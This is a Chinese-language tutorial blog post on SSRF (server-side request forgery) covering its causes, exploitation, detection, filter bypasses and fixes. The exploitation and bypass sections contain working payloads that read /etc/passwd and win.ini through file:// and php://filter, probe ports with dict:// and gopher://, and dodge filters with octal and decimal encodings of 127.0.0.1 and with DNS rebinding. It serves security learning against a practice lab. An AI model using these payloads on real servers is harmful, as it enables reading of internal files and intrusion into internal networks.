SSRF漏洞

0x00 ssrf介绍

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务器发起请求的安全漏洞。一般情况下,ssrf攻击的是外网无法访问的内网系统,因为请求是由服务端发起的,所以服务器能请求到与自身相连而与外网隔离的内网系统。

0x01 成因

服务端提供了从其他服务器应用获取资源的功能,并且没有对目的地址严格的检查和过滤。
例如:黑客操作服务端从指定的url地址获取网页的文本内容,加载指定地址的图片,利用的是服务端请求伪造。
php 漏洞函数:

	file_get_contents()
	fsockopen()
	curl_exec()

0x02 利用

ssrf利用的是存在缺陷的web应用作为代理攻击远程和本地的服务器。
主要攻击方式有

1.利用协议

在这里插入图片描述

1.1file协议读取本地文件

url=file:///etc/passwd
url=file:///C:/Windows/win.ini

1.2php://filter/read(file_get_contents)

在ssrf(file_get_contents)使用
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=
php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

2.对外网、服务器所在内网、本地进行端口扫描,获取banner信息。

3.攻击运行在本地或内网的应用程序。

4.对内网wab应用进行指纹识别,识别企业内部资产信息。

5.攻击内外网web应用,用http get 请求如(sql,strust2)

0x03 漏洞探测

1.1 输入url的地方

看到让用户输入url,导入外部链接的这些点就可以尝试。
输入ceye.io的域名,登录看是否有http请求记录。
在这里插入图片描述
也可以输入 http://127.0.0.1:80
如果有反应说明也存在
在这里插入图片描述

1.2如果是加载图片的地方

该功能点应该会对后缀做检测
也可以使用ceye.io的域名 在后边直接加上xx.jpg即可
xxx.ceye.io/xx.jpg
在这里插入图片描述

1.3其他功能点也类似

0x04 绕过

1.攻击本地

http://127.0.0.1:22
http://localhost:22

2.进制转换

可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/

3.各种协议

file:///d:/1.txt   读取静态文件
						dict://127.0.0.1:6379探测端口
						https/http://127.0.0.1:80   读取网页
						gopher://

4.302跳转

5.DNS重绑定 前部分外网IP,后部分内网ip。 使用bp爆破

工具 https://lock.cmpxchg8b.com/rebinder.html
在这里插入图片描述
当对地址有黑名单验证时可以使用DNS重新绑定
利用服务器 判断ip地址是否合法后 才去请求url 的时间差。上述工具网页 会自动进行重新绑定 可用bp进行爆破

6.短网址转换工具

https://www.985.so/

0x05 修复建议

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。
限制协议为http和https
dns查询请求的间隔低于ttl值

参考资料

https://www.freebuf.com/column/194040.html
https://github.com/NoneNotNull/SSRFX

https://blog.csdn.net/weixin_39664643/article/details/113944992

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值